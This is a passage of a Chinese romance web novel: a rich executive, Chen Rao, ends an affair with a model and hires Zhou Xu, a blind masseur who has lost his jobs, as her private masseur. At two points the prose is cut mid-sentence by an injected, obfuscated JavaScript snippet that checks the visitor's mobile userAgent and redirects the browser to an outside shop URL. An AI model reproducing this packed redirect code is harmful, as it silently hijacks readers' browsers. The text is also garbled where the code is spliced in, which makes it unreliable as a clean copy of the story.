这下他无比确认,车里那位小姐正是前段时间的老板。至于车里的另一个男人,和她应该是很亲密的关系。 周序望了眼车辆离开的方向。 夜雨模糊他本就所存无几的视野,只能望见点点昏黄路灯色块,其余的,什么都看不见。 那是他无法触及的另一个世界。 也与他无关。 周序收回视线,继续询问下一辆车,奈何人家连车窗都没打开,只滴滴两声进行驱赶。 雨势又有加大的迹象,他走上台阶,捡起刚才被车子碾烂的伞,缓慢拐过墙角,回到那间挂着按摩招牌的逼仄门脸。 自从上次被车撞了后,他请假休了两天,膝盖的肿还没消,又被老板指使着搬运晾晒毯子,生怕他闲着。 主管也不断挑刺,说着父母生病一类的话,想方设法的想把那八千块抠走点。甚至还旁敲侧击的建议他再报警,说自己的情况恶化了,要重新做体检。 周序索性提了离职。 他有资格证,总能找到下一家。 同屋的舍友没有劝他,这个会所虽然大,可待遇确实一般,主管克扣严重,只说以后有了好去处告诉他一声。 听全盲的舍友手里拿着传单,笑呵呵准备出发,周序沉默片刻,还是提醒他别去学校等场合,上面的话不适合出现在孩子面前。 那些性暗示的话,也是他不想继续在这家会所工作的原因。 他听说过一些传闻。 也听见过一些动静。 老板知道后劝了他挺久,“诶呀,你想什么呢,咱们是正规会所,哪里会做那种事呢。这叫引流,写的夸张点能吸引顾客,肯定不会做违法乱纪的事。” 周序没说话,老板压低声音开口:“小周啊,原本我想下个月给你转正的,这个事咱再商量商量呗。你说你长得也不赖,三楼有几个常来的金卡会员,就喜欢你这种年轻的。” “你要是留下,转正后直接去三楼,把那几个姐姐按好了,提成一个月上万都是少的,这不比你重新找工作强?” 老板摁住他肩膀,语气笑呵呵的,可劲却很大,“你还年轻,没有资历,离开这里,没有按摩店愿意要你的。” 周序还是离职了。 八千块的补偿款,他留了五千,剩下的三千托老家朋友换成现金给外婆送过去,第二天小老太太的电话就打了过来,先是劈头盖脸训了他一顿,让他有钱留着自己花,训完以后,又问他钱是哪来的。 周序没提被撞的事,只说是发的奖金,人人有份。 小老太太死活不收,拉扯几番后,老家的朋友又给他转回一千五,也叫周序别担心,邻里邻居都挺照顾老太太的。 等挂了电话,周序继续物色下一份工作。 可他没想到,宁市稍微正规一点的盲人按摩会所,几乎都婉拒了他的求职。 他找了大半个月,才找到这家隐藏在居民区的夫妻小店,愿意聘用他。 就是有试用期。 老板娘看见他满身的雨水,刚回来就踩湿干净的地面,很不满的啧了一声。 一旁的老板抱怨着:“这什么鬼天儿啊,雨下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323468|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个没完。小周,走,你跟我去把电动车推回来。” 周序应了声,还没歇一下,又走出去。 店门口没有挡雨的棚子,只能把车推进屋里,电动车很沉,并且门口还有三节台阶。以前都是老板娘和老板两人合力才能抬进去。 周序怎么说也是个大小伙子,还是干按摩的,手上力气不会小。 可还没等老板使劲,周序已经抬起车头,指腹一寸寸抚摸过车身,确定好位置后,又走过去将车屁股抬起来,推进屋里。 动作轻巧,看起来毫不费力。 老板乐了一声,将电动车停在角落,“行啊小周,看着瘦,劲挺大啊,以前练过?” 周序笑笑,没说话,衣袖下的指腹无意识抚过指节。 他曾经是宁市青年组的散打冠军。 * 另一边。 烛光摇曳,暖光弥满餐桌。凯兰摘掉围裙,将刚煎好的牛排端到桌上,开了一瓶桃红。 带着气泡的酒体缓缓流进倾斜的高脚杯,又被送到陈娆身前。 气氛静谧而浪漫。 对于能给她提供情绪价值和身体愉悦的男人,陈娆向来不吝啬。 她送了凯兰一只表,作为生日礼物。 在看见牌子时,男人眼中露出难以压抑的欣喜,又极快被掩饰好。 “谢谢亲爱的。”那张出众的容貌凑近,掌心完全盖住陈娆的手,“我也有礼物要送你。” “什么礼物?”陈娆唇角含笑,眼底却没什么起伏。 生长在一个还算富饶的家庭,陈娆的父母十分恩爱,她还有一对大她八岁的龙凤胎哥姐,四人都格外溺爱她。可以说,从小到大她最不缺的就是爱和金钱。 在同龄小朋友还在咿呀学语的年纪,陈娆的房间就被各类奢侈品填满,从小到大收过的礼物数不胜数。 以至于青春期谈恋爱时,她对历任男友送的礼物装不出惊喜,甚至觉得占地方。 后来有些人另辟蹊径,送她什么自己织的围脖这种廉价真心的礼物,陈娆被逗得噗嗤一笑,当天把人连着礼物一起踹了。 她从小到大都没被送过这种便宜货。 久而久之,她难伺候的名声也传出来。 如今,凯兰起身站到陈娆身后,将她散落的长发拢起,微凉的触感贴到锁骨上,是一条love系列的项链。 陈娆放下凯兰递给她的镜子,后者顺势将第二件礼物拿出来。 一个古老的紫色水晶摆件,木盒上篆刻着法文,充满神秘色彩。 陈娆垂眸,指腹缓缓抚过,应该是定制品,因为她看见了她的名字缩写。 精致的小摆件。 无用且幼稚。 “是我托外婆向村子里最有名的灵媒师购买的,得到它的人,会在爱神的指引下遇到此生挚爱,好运与幸福都会随之而来。” 烛火映在水晶上,呈现一种诡秘的感觉,陈娆随手放在一边,“许个生日愿望吧。” 凯兰笑笑,也不再讲虚的,说出一个对陈娆来说只是举手之劳的心愿。 他想要一个更好的资源。 凯兰的公寓不大,为了给陈娆留下好印象,他特意请了阿姨打扫,又添了一些新玩具。 “上次那把坏了,试试这个,据说会有爪印。”凯兰将一个小拍子递过来,跪坐着仰起脸,主动蹭上陈娆的手。 “姐姐,puppy想你了。” 陈娆心情很好地摸了摸自己的小男友,渡过一个愉悦夜晚。 翌日清晨,司机早早在楼下等候。 她坐在后座休息,脖颈上的项链早摘下,那个水晶摆件被她随手丢在车门旁的储物区。 不知想到什么,她忽而睁眼,偏头看向刚刚路过的后门街巷。 时间还早,许多店还没有营业,昨夜那个身影早已消失不见。 但她还是眼尖的瞥见那家逼仄的门脸,还有旁边写着【按摩推拿】的牌子。 这么快换工作地点了? 司机见老板一直盯着后门某处,询问道:“陈总,要从后门走吗?” “不用。”陈娆收回视线,继续阖眸休息。 昨天事后,在凯兰的强烈建议下,她松口让对方给自己做了个精油按摩。 技术很一般,给她越按越累。 当天晚上,陈娆就预约私人理疗师上.门服务。 专业的事果然要交给专业的人来做才行。 4. 第 4 章 这件插曲未引起任何波澜,陈娆的生活依旧有序,就是有次回家吃饭时碰上了许竞。 这人在她家装的人模人样的,说话温和又客气,把礼品放下就离开,十足十的有礼貌。 在她爸妈的疯狂暗示下,陈娆慢悠悠站起身,把人送出门。 “你腿好了?”陈娆低头看了眼。 许竞幽怨看向她,语气阴阳怪气:“谢谢陈总关心,还记得我腿骨折过,我还以为您贵人多忘事呢。” 陈娆翻了个白眼,懒得和他计较。 许竞有毛病也不是一两天了。 许竞却不想这么快结束话题,故意提到:“你那个小男模呢?” 两人走出庭院,陈娆停下脚步,没有再送一步的意思,慢悠悠开口:“怎么,这个你也想帮我把把关?” 许竞没说话,而是给她发了一段视频,“这种不入流的野模最会捞,还开你的车去聚会,娆娆,少玩他们那种下流货色。” 女人兜里的手机没有任何响动,许竞脸色沉了沉,“你又把我免打扰了?” 陈娆眨了眨眼睛,一脸‘知道还问’的表情,她点开和许竞的对话框,看见了那个视频。 视频是一群年轻男女的聚会part,应该都是模特,凯兰显然是人群中的主角,他坐在中间,手上戴着她送的那只表,桌上摆着迈凯伦的钥匙。 陈娆脸上没什么表情,因为这场聚会凯兰和她报备过,车子也是她借给他开的。 “不管他是什么货色,总比有人咸吃萝卜淡操心强。”陈娆笑笑,“许总,治治你的偷拍癖吧。” 忽视许竞难看的脸色,陈娆转身上楼。 微信震动,是特助给她发来的文件。 新工厂的残疾人部门已经招收了一批员工,宁市的残联组织发了邮件,说想在月底和她们合拍一个公益宣传视频。 文件里是具体的拍摄流程以及方案。 对方资质没问题,权责也写的清楚,陈娆扫了一眼,退出时,那个免打扰的对话框还冒着红点。 她没点开看。 许竞这种找人偷拍的事不是第一次干了,也确实拍到过东西。 陈娆甩人甩的干脆,那人长什么样她早就忘了,只记得赶来看热闹的许竞一边骂着那人下三滥,一边叭叭的凑上来。 含义很明显。 可惜,一个男人,她不玩两次。 许竞说凯兰捞也没错。 比起恋爱关系,她和凯兰本质就是交易关系,她图色,他图资源,本身就是各取所需。 凯兰的朋友圈也有些高调的暗自炫耀着,譬如不经意露出的车标,还有日常生活照,都能看出一些他住在檀湾的痕迹。 他不是什么好东西,但这种图钱的男人最好打发,玩腻了就换下一个。 一旦有钱,就蹬鼻子上脸,想要跟她谈爱。 * 宁市的秋天一向来得早,才九月中旬,天气已经转凉,树叶也开始泛黄。 周序看不见树叶的颜色,更看不见晨昏的萧瑟秋景,他判定秋日来临的方式只有频繁的夜雨,还有清早开门时,冷到令人一激灵的秋风。 洗好的拖把放在角落,他点开手机消息。 上个舍友的声音传出来,“都不好干啊,你走了以后赵哥骂了好几天呢。” “听说新城区那边有个饮料厂招残疾人呢,据说规模可大了,福利待遇也好,盲人也招呢,搞得我都想去试试了。诶——我在呢在呢,先不说了啊,我去上钟了。” 周序听完这两条消息,回复了一个好字,起身继续工作。 他的手机有盲人辅助功能,但他不太愿意用,除了获取一些必要信息时,依旧固执的保持原始状态。 就好像他还是个健全的正常人一样。 老式洗衣机的声音巨大,结束时发出一长串滴音。周序关闭水龙头,刺骨冷水令他的手变红,他却毫无感知一样拿着盆走过来,将里面洗好的毛巾和毯子一件件拿出来。 他对这里还不太熟悉,只能一手抱盆,一手用盲杖试探着前行。 等把毯子与毛巾晾好,老板才姗姗来迟,进屋第一件事就是坐在沙发上玩手机,等到中午,看着依旧冷清的店里,幽幽叹息一声:“哎,生意难做啊,这一天天的,连个人都没有。” 说完,瞥向角落的男人。 周序顿了顿,预感到了什么,却没有说话,而是继续忙着手头的事。 一周后,和他想的一样。 他没有通过试用期。 老板和老板娘以生意不好的理由给他打发了,周序毫不意外,他格外平静的接受了这个现实。 只是回家的公交车上,望着窗外的灰白色块,他搭在膝盖上的指尖蜷缩,眼底无意识流露出几分迷茫。 这么大的宁市,他连一份工作都找不到。 想起舍友口中的饮料厂,周序还是决定试试。 与此同时,檀湾。 宽阔昏暗的卧室里,地上散落着贴身衣物,声音断断续续。 直到陈娆松开手,被汗水打湿的发粘在鬓角锁骨,她轻轻吐出一口气,眯着眼望向天花板。 凯兰抬起头,舌尖舔去唇角透明水迹,凑近女人身边。 事后,往往是她最好说话的时候。 凯兰揉捏放松着她的肩颈,不经意的聊起他一个刚登上国内顶刊封面的同行,语气带着羡慕与雀跃,“娆娆,我最近拍了几组片,摄影师说我状态挺适配封面,要是有机会试试就好了。” 陈娆转头,似笑非笑地看他,“你真觉得,你上镜能力有那么强?” 凯兰愣了一下,准备好的话术也不敢再说,语气也放轻,“没有,我就是想想,平面拍摄太耗时间,我更希望你多看我两眼。” 陈娆看着凯兰那张与三个月前一般无二的混血脸,忽然就有点腻了。 那天晚上,她没让凯兰留下。 男人格外慌张,他焦急示好解释,但陈娆懒得再听。 既然腻了,就没有再留的必要。 第二天,李梦出现在凯兰的公寓门口,对对方想见老板一面的要求置若罔闻,只微笑着收回属于老板的私人物品。 看着李梦身后的两个保镖,凯兰憋着气,把车钥匙递出来。 他不甘愿地问了一句:“陈总真的没有话要跟我说吗?” 李梦处理这种事已经很娴熟,她提醒道:“凯兰先生,你和老板已经分手了,别再打扰她,这样老板对你的印象说不定还好点。” 说完,李梦转身离开。 跟在陈娆身边几年,李梦早就摸透她家老板的性格,和各色男伴在一起的时候浓情蜜意,给资源时也毫不吝啬,腻歪后又断崖式踹人,伤透历任情人的心。 就这样,依旧有人前仆后继。 就很符合老板的霸总身份。 * 陈娆没想到,她会再看见那个盲人。 还是在她的公司。 九月末,宁市的残联负责人如约去工厂拍摄。 盛卓的总经理全程监审,这次的公益视频是要在多家媒体投放的,代表的是盛卓的形象,从拍摄到剪辑都马虎不得。 摄制组从食堂到宿舍,再到残疾岗位全拍了一遍,又选了几位代表拍摄单人采访。 最后一个环节,是挑选两位形象好气质佳的残疾员工为盛卓的新品做宣传,时间不长,几秒钟而已。 工厂这边挑了一对年轻男女,女生面对镜头很自然,也很上镜,但是那个男生的表现却很一般,面对镜头时眼神总是游离。 总经理看着镜头,怎么看怎么不对。 明明现实看着挺精神的,怎么一上镜,这产品像他偷来的一样。 临时换了两个男员工,但结果都不尽人意。 眼见太阳落山,摄制组也到了收工的时间,就在这一筹莫展之际,他们看见了一个人。 盲杖轻点地面,发出规律的声响。身着黑色风衣的青年垂眸而行,肩线挺拔利落,气质疏离冷清。 秋风吹起男人鬓角碎发,他沐浴在斜阳里,像一幅安静易碎的画。 导演眼睛当即一亮,“这也是你们的员工?让他来试试呢?” 虽然是盲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323469|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,可形象气质都无比出众。不像在厂子里干活的,倒像是来拍体验生活vlog的网红。 助手跑过去询问,才知道这人是第一天入职,现在是准备去办住宿的。 第一天入职,那也是员工! 就这样,一无所知的周序被拉来救场,导演说他什么都不用做,就拿着新品当背景模特就行。 在五百块的拍摄补贴诱惑下,周序点头同意。 他需要钱。 拍摄一遍过,导演夸赞道:“你这个形象,在厂里打工可惜了啊。” 这话就是导演随口一说,可总经理却听进去了,他看着周序的形象,当即拍板,把他调进总公司的媒体部,第二天就上班。 就负责直播板块。 盲人员工,也是一种吸引流量的卖点。 “直播?”周序抬头,有些茫然,“我没接触过,可能不适合这个职位。” 总经理笑呵呵拍了拍周序的肩:“小伙子,凡事总有第一次,试试看嘛,主播的工资可比工人高,不行再回来。” 工资永远是最现实的条件,这些打工干活的,看得不就是钱吗。 周围的员工听见,纷纷对周序投来羡慕的眼神,进厂第一天就被总经理调到公司总部,这是多少人可遇不可求的机遇。 长得好看真能当饭吃啊。 就这样,周序在一无所知的情况下,被安排到了总部上班,接触一个他全然陌生的领域。 一周后,成片被交给盛卓的对接人。 落日将窗户染金,陈娆懒洋洋靠在沙发角落,看着下属发来的公益视频成片,手机光影映在脸上,她始终没什么表情。 很规范的公益影片,没什么大问题。 直到影片播放到最后一秒。 陈娆有瞬间觉得自己眼花了,她眯了眯眼,手动往前拉了几秒,在人影出现的瞬间点下暂停,放大。 即便画面集中在新品身上,可她依旧认出背后那个模特。认出那双深邃冷清,却毫无焦距的双眼。 看见这双眼睛的瞬间,陈娆脑海中倏然闪过几个画面。 朦胧的雨夜,男人小心谦卑的语气,修长苍白的指骨,被雨水濡湿的睫毛,还有......弯腰时不小心露出的白皙胸膛。 她指尖无意识蜷起,眼底淌过几分细碎的危险。 她还记得,夜雨里,那抹白很刺眼。 陈娆盯着手机屏幕整整一分钟,旁边嚼饼干的汤茵把脑袋伸过来,本想一起看看宣传片,结果就看见一张男人的照片。 她好奇问:“娆娆,这谁啊?” “新厂区的员工,是个盲人。”陈娆依旧看着屏幕,语气如常。 汤茵随意点头,刚想说什么,见陈娆仍盯着截图,神情晦涩,不像在看一个普通员工,倒像是......汤茵意识到什么,猛地坐起来,眼睛瞪得很大:“你不会相中他了吧。” 陈娆有几秒没说话,汤茵一脸见鬼的表情:“天啊宝贝儿,你现在的口味真是越来越让我捉摸不透了。不过嘛,混血脸看多了,确实也需要这种清爽小帅哥来养养眼。” 大鱼大肉吃多了还得吃点小菜解解腻呢,汤茵仅用了0.01秒就接受了陈娆的口味,“而且盲人的话,你都不用给他戴眼罩。” 她说完嘿嘿一笑,很是了解发小的德行,“不过吧,有的人视频上相,现实看着很一般,你得见见真人再说。” “我见过。”陈娆伸手拿了块饼干,奶香充斥口腔,她喉头滚动,垂眸看向手机屏幕的照片,“之前我和你说过,上个司机倒车时撞到的那个盲人,就是他。” 汤茵张着嘴,回想了几秒,不可思议道:“就他啊?赔偿金只要八千那个??” 陈娆没说话,表情已经证明一切。 汤茵的表情更加精彩,“这就是缘分吧,上天注定,他命里有你这一劫。” 她说罢,拍拍陈娆的肩膀,顺手把饼干拿回来。 陈娆没理会发小的调侃,她现在更想知道的是,这人为什么会出现在盛卓的宣传片里? 他什么时候又成她的员工了? 5. 第 5 章 翌日一早,陈娆将截图发给助理。 作为最优秀的特助,李梦迅速搞清全部过程,并且汇报给自家老板。 陈娆没说话,盯着人员表上的【周序】二字,表情耐人寻味。 看着部门经理的回复,李梦继续汇报道:“周先生因为表现不佳,媒体部那边没要他,打算明天就把他调回新厂。” “表现不佳?”她终于抬头,语调泛起波澜。 “是,据说周先生不太熟悉流程,反馈不太好,而且、”李梦忽而卡了一下,“而且昨天下午,周先生搞砸了一场直播,经理很生气。” 搞砸直播? 他也不是主播,怎么能把直播搞砸? 很快,视频被传输过来,完整的来龙去脉呈现在陈娆眼前。 监控视频里,直播镜头前摆着产品展台,公司的主播坐在展台后,正介绍着活动优惠。 而主播身后的椅子上,坐着那个陈娆眼熟的身影,起到一个充当背景板的作用。 即便在监控的视角,她依旧能看出那个人有些局促,唇角勾起的弧度僵硬,搭在膝盖上的手攥紧又松,可脊背却依旧挺直,宽阔的肩膀舒展着。 无论是初见还是那个落魄的雨夜,他的仪态气质一直都很好。这似乎是他从小接受的优良家教,不像一个生计所迫的普通按摩师。 监控里,有人在角落用对讲机说了句话,周序微微偏头,露出一侧的耳机。 随后,他听从指令,起身离开直播范围。 变故就发生在此刻,地面电线杂乱无章,镜头外纸箱摆满地面,而周序手中没有盲杖,偌大的直播间里,也没有一个人开口提醒他。 似乎都忘了他是个盲人。 周序走的很小心,可还是被一截支起的线绊到,他步伐踉跄一瞬,本能伸手想扶住什么。 就这样,随着男人的举动,噼里啪啦的声音不断响起,精心搭建好的展台瞬间倾塌,就连主播都愣在原地。 一瞬间,场内所有人的视线都看过来。 周序在扶住站台的瞬间便察觉不对,忙不迭松手,可还是迟了一步。 他看不清路,直到腰身撞在杂物桌上,才停下来。 惯性的痛感令男人弯腰闷哼一声,显然是撞得不轻,现场乱作一片,他拘谨站在原地,表情掺杂茫然与不知所措。 视频还在继续,陈娆靠在舒适的真皮办公椅上,她微微偏着头,漆黑眼瞳中倒映着监控画面,搭在扶手上的指尖轻点。 出了这么大的事故,直播被紧急暂停,经理急匆匆赶过来,看见现场的画面,对周序劈头盖脸就是一顿骂。 那展台是辛辛苦苦搭了一上午才弄好的,现在好了,全毁在周序手里。 陈娆坐在监控后,看着那个刚入职就被经理骂到狗血喷头的男人。 他穿着最普通的白衬衫黑西裤,胸前挂着蓝绳胸牌,那双冷清漂亮的眼眸失去焦距,蹲在地上狼狈收拾着残局,他嘴里不断道歉,可碍于经理的威压,周遭无一人理会他。 活像个窝囊的社畜。 视频到此结束。 屏幕陷入漆黑,映出陈娆的面容,那张明艳动人的脸上表情沉稳如常,可眼底却犹如被投入石子的湖泊,泛起一层层波澜。 她将视频往前拖,定格在男人起身后的瞬间。 这种白衬衫与黑西裤其实格外考验人的身材与气质,大部分人穿起来都像是卖保险的,可周序不一样。 他身量不矮,目测在183-187之间,直角肩将衬衫撑起,衬衣下摆塞进裤子,腰身比寻常男性更窄瘦,臀线饱满流畅,腿也很长。 并且,即便在监控这种死亡视角下,都能看出他比例很好。 公狗腰、大长腿,看起来不输凯兰。 就是不知道其他部位,是不是和身材比例一样优越。 平心而论,周序长得真的挺合她胃口。第一次见面的时候,如果他不是盲人,她大概率会主动要他的联系方式。 宁市这么大,她居然能在自己的公司遇到他,也是一种缘。 不管是孽缘还是情缘,陈娆在''缘''这一字上,一向很随心。 喜欢的,一定要吃一次尝尝。 好吃难吃,能吃几次,还不是她说了算。 当天傍晚,陈娆就找到了周序。 直播部门一向下班晚,但这和已经被踢出工作组的周序没有任何关系,他将自己的随身物品收拾好,随后将工牌摘下,临走前,他和带他的组长打了个招呼。 周序喉结轻滚,压低声音开口:“组长,我还是想请您问一下,工厂那边真的一个位置都没有了吗?” 正盯着直播的组长不耐的嘶了声,看也没看身边人,而是快速摆了摆手,示意周序靠边站。 眼前人没动,组长愣了一下,才想起这人是盲人,终于打发道:“我哪知道,你去问厂长啊,这事又不归我管。” 周序还有些不死心,“可是经理之前说、” “那你就去找经理。”他的话被无情打断,组长哎了一声,“小周,不是我不想帮你,我也没这个权利啊,谁答应你的你找谁去。” 周序沉默几秒,最终转头离开。 忙碌的演播厅没人理会这个被拿来试水又被踢出组的盲人,只是在盲杖轻轻扫过地面,发出噪音时,有人忍不住说了句:“小点声,直播呢。” 男人顿了顿,用更慢的速度朝着门口走去。 还没到下班高峰,电梯间的人不多,可周序却径直路过,朝着另一侧的安全通道走去。 他向来不爱坐电梯,宁愿多花点时间去走楼梯,清净、也不会给别人带来困扰。 固定的台阶数也不会出现突然的变故,再绊他一次。 只是今天,他的背影显得尤为沉默。 被媒体部辞退这件事本来就在周序的预想范围里,他视力有缺陷,又没接触过相关行业,无法创造和工资等同的价值。 可是他没想到,被辞退后,他连一开始的工厂都回不去了。 今天下午,周序给当初负责面试他的人事打电话,询问明天是否能进厂,他想申请宿舍。 对面沉默一会儿,很是为难的告诉他,工厂提供给盲人员工的职位已经满了,没有多余的位置了。 周序攥着手机的手一下握紧,他追问说怎么会,总经理当初说过,如果在媒体部干不好,他可以回工厂继续打工。 手机里传来纸张翻阅声,好一会儿,对面的姑娘才开口,一针见血道:“周先生,你是不是没和工厂签过入职合同?” 周序愣了一下才说:“没有。” 他当初还没来得及签字,就被拉过去拍摄救场,随后就被总经理调到总部。 “这就是了。”对面叹了口气,“盲人岗的数量是固定的,在职的员工都和我们签过合同了,你这个情况我们也很难办啊。要不你再联系一下经理,看看能不能单独给你申请一个岗位。” 周序当然尝试找过当初承诺他的那个人,可他连对方叫什么都不知道,更何况,盛卓集团的总经理,哪里是他说见就能见的。 见电话那头长久没言语,对面疑问道:“周先生?” 声音唤回周序的思想,他捏着手机,声音有些疲惫:“我知道了,谢谢。” “不客气,有事再联系。”对面挂断电话。 周序停下脚步,几秒后,低下脑袋,疲惫轻叹一声。 又要重新找工作了。 他不是一个悲观的人,相反,周序面对生活的态度还算积极,只是这段时间接二连三的打击下,还是难免觉得有点累。 他继续往前走,走到空荡的安全通道门口,骨节分明的手搭在门把手上,毫不费力地拉开那扇厚重的门。 楼梯间的感应灯自动亮起,可周序却没有第一时间进去,而是停下脚步,拉开半扇门,礼貌询问身后跟了他一路的人:“你也要走楼梯间吗?” 声音疏离温和,不是刻意压低的声线,带着点清朗的少年音色,听起来很舒服,也很疲倦。 而他身后站着的,正是陈娆。 没有选择直接把人喊到办公室,陈娆亲自来到他工作的楼层,结果正好碰见周序从演播厅出来,她便慢悠悠跟在这人身后观察。 她甚至有刻意放轻脚步,可现在来看,对方应该察觉她很久了。 陈娆轻笑一声:“我脚步声很重?” 她语气轻松含笑,可在说出口的瞬间,男人一顿,缓缓转过头来。 人影模糊,看不清具体容貌与身形,只能依稀看见她在看自己。 可他听过这个声线,两次。 一次在医院里。 一次在雨夜中。 声音清脆悦耳,语速偏慢,可每个字都能清晰砸进人的耳朵里。 “很轻。”周序的声音也很轻。 “那怎么分辨出的?”陈娆说话时,仗着对方是个盲人,目光肆无忌惮的扫过。 和监控里一样,倒三角的上半身和优越的身材比。 走路的步伐稳且沉,除了有些慢和拿着盲杖外,半点看不出盲人的感觉。 或许是因为年纪小,气质看起来也很纯,没有涉世已深的老油条感,也没有初入社会那种莽撞感,而是一种与他年纪不太相符的沉默与平静。 头发似乎长了些,细碎刘海遮住眉毛,喉结明显,鼻梁高挺,淡粉的唇瓣不薄不厚,是亲起来最舒服的类型。 与凯兰那种充满压迫性的身材不同,周序从远处看会让人觉得他瘦削单薄, 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楼梯间寂静无声,周序不知道该说什么,也不知道这位老板的意图是什么,于是伸出盲杖,打算往楼下走。 36路公交很难挤,错过五点半这班,不知道还要等多久。 他对繁华的商业区并不熟悉,若非被调到盛卓总部,他大概永远都不会往这边来。 他更习惯自己居住的那片居民区。 就在盲杖触到台阶前,陈娆拦住他的去路,半是认真半是戏谑道:“开个价吧。” “什么?”周序转头,没反应过来。 “我最近正好缺个私人按摩师,这不是你的老本行吗?”陈娆慢悠悠开口,从手指扫到对方的眼睛,提醒道:“盲人按摩,一次五百?” 话语落地,周序除了沉默外,并没有太多意外的情绪。 他早听出她是谁了? 陈娆有些意外。 果不其然,下一秒,周序垂眸开口,“老板,不好意思,我现在不干按摩了。” “那你打算干什么?” 周序偏过头,没回答,而是问道:“您也在这里工作吗?” 听见这略显天真的提问,陈娆被逗笑,故意拖长语调:“当然不是。我和保安斗智斗勇三天才混进这栋大楼,逐层排查整栋楼,就是为了逮到你当我的按摩师。” 周序也意识到自己的问题很没水平,他脸色一烫,有些尴尬。 他其实是想问,她既然也在盛卓工作,能不能帮他问问总经理,厂里还有没有他的位置。 看着对方被自己说红的耳尖,陈娆笑了声。还是个脸皮薄容易害羞的。 思索片刻,周序还是想争取一把,“老板,您认识这里的总经理吗?” “总经理?”陈娆来了兴趣,“不认识,但你找他干什么?” 听见她说不认识,周序脸上的期待淡下,唇瓣翕动,说了陈娆早已知道的缘由。 “她没骗你,新工厂的盲人岗早就招满了,宁市其他的工厂也暂时不招盲人。不如考虑一下我刚说的?”陈娆补充,“你要是不放心,我可以和你签合同。” 楼梯间陷入长久的沉默,陈娆不徐不疾的等着,像等着一头无害的盲眼绵羊自投罗网。 玩够了开篇就带着算计往她床上爬的男模,这种一点点引诱无辜老实人的戏码,令她久违的觉得有点意思。 当然,这人也不一定就是老实人。 有些人在不熟悉时,总喜欢给自己披一层人设,伪装纯情。 “老板,您是认真的吗?”周序谨慎询问。 “你觉得我很闲?”她蹙眉,语气不耐,“我没太多时间和你耗,你要是不想干,可以把你以前的同事推给我,或者我去外面找。” 没给周序深思的机会,她语气忽而冷淡:“算了,你走吧,我再找别人。” 听着安全门被拉开的声音,还有女人离开的脚步声,周序心中一跳,急切开口:“我能干!” 意识到自己声音有些大,周序放轻声音:“老板,我能干,我有证的。” 到底年纪小,社会阅历太少,随意一诓就上钩。 陈娆毫不掩饰自己唇角略带谑意的笑,“开个价吧。” 不缺钱的人不可能频繁换工作,还跨界到他从未涉足的领域,她挺好奇,眼前这人会要多少。 男人低头,喉结艰涩滚动,“……三千。” “一次?”陈娆下意识问,这个价倒是正常。 “一个月。”周序赶紧答,“按月算,您需要按摩的时候叫我过去就行。” 陈娆抬头,眼底罕见流露惊诧。 真是,出乎意料的便宜。 6. 第 6 章 “一个月三千?”陈娆语气诧异。 周序听出来,急忙道:“您要是觉得贵,两千八也行。” 不行的话,两千五也行。 有现成的工作,总比他漫无目的地找更好。 没等他再降价,女人的声音再度响起:“不用,就先三千吧。” “老板,我加一下您的微信。”周序掏出手机,眼睛微微眯起,找到那个熟悉的绿色方块,凭记忆点开扫一扫。 几秒后,陈娆微信上多出一个新申请。 ID:Z 头像是一张寻常的天空风景照。 陈娆点击通过,发送定位,“地址发你了,周五周六晚上八点固定,其余时间我会提前通知你。” 就在她想离开时,身后的男人又开口:“老板,还不知道您叫什么,我存一下备注。” 她步伐一顿,单手掏出手机,“发你了。” 真新鲜,从来都是别人上杆子想她记住自己的名字,没想到有朝一日还要她主动给别人发名字。 几秒后,陈娆手机震动一下。 名为Z的联系人发来消息:【我叫周序,您叫我小周就好。】 她扫了一眼,没回。 过两天的酒局,汤茵刚看见陈娆,就咧起一个大大的微笑,正事刚谈完就迫不及待的询问:“怎么样啊?” 汤茵向来好奇这些八卦,陈娆也没瞒着,顺口说了雇他做按摩师的事。 “你都把名字发给他了,他居然还不知道你是谁?”汤茵觉得不可思议。 她们这个圈层里,陈娆的名字可谓响亮,曾经风月场上做魁首、天天纸醉金迷的大小姐,如今精明凉薄、极度冷静的集团总裁。 但对于周序这种人来说。 没听过、不认识、不了解她才是正常的。 底层员工很少在意平时接触不到的集团高层们叫什么,他们只在乎组长与部门经理的命令;就像学生只会把班主任的名字牢牢记在心里,而不在乎校长叫什么。 汤茵只是叹息,“看来今天的局我白组咯。” 除了和圈子里的几个朋友见面,汤茵今天还叫了几个自己公司的男孩,都是清爽小帅哥。 给陈娆解腻的。 既然她有了新乐子,这几个人铁定看不上了。 只是散场时,陈娆碰见个熟人。 是凯兰。 “娆娆。”男人嗓音低哑,看起来有些憔悴,完全没有前段时间的意气风发。 陈娆扫他一眼,眉头微蹙,旁边的汤茵脸色一下子变了,“谁告诉你的地址?” 汤茵转过头,那几个模特还没走,有人看好戏,有人低头一句话不说。 凯兰是她公司的人,这场局是她们朋友的私人聚会,只能是她带来的人里有人不知好歹,告诉了凯兰用餐地址。 汤茵脸色极差,她也没想到,凯兰这么不知好歹,被甩了还敢来纠缠陈娆。 凯兰没回答,只急切说:“汤总,我想和陈总说两句话,就两句。” 时间已深秋,冷风吹在脸上,惹得陈娆眯了眯眼,低头看了一眼时间。 她喝的不多,只有两杯而已,风一吹酒意就散了。 凯兰登上台阶,想往陈娆身边走。 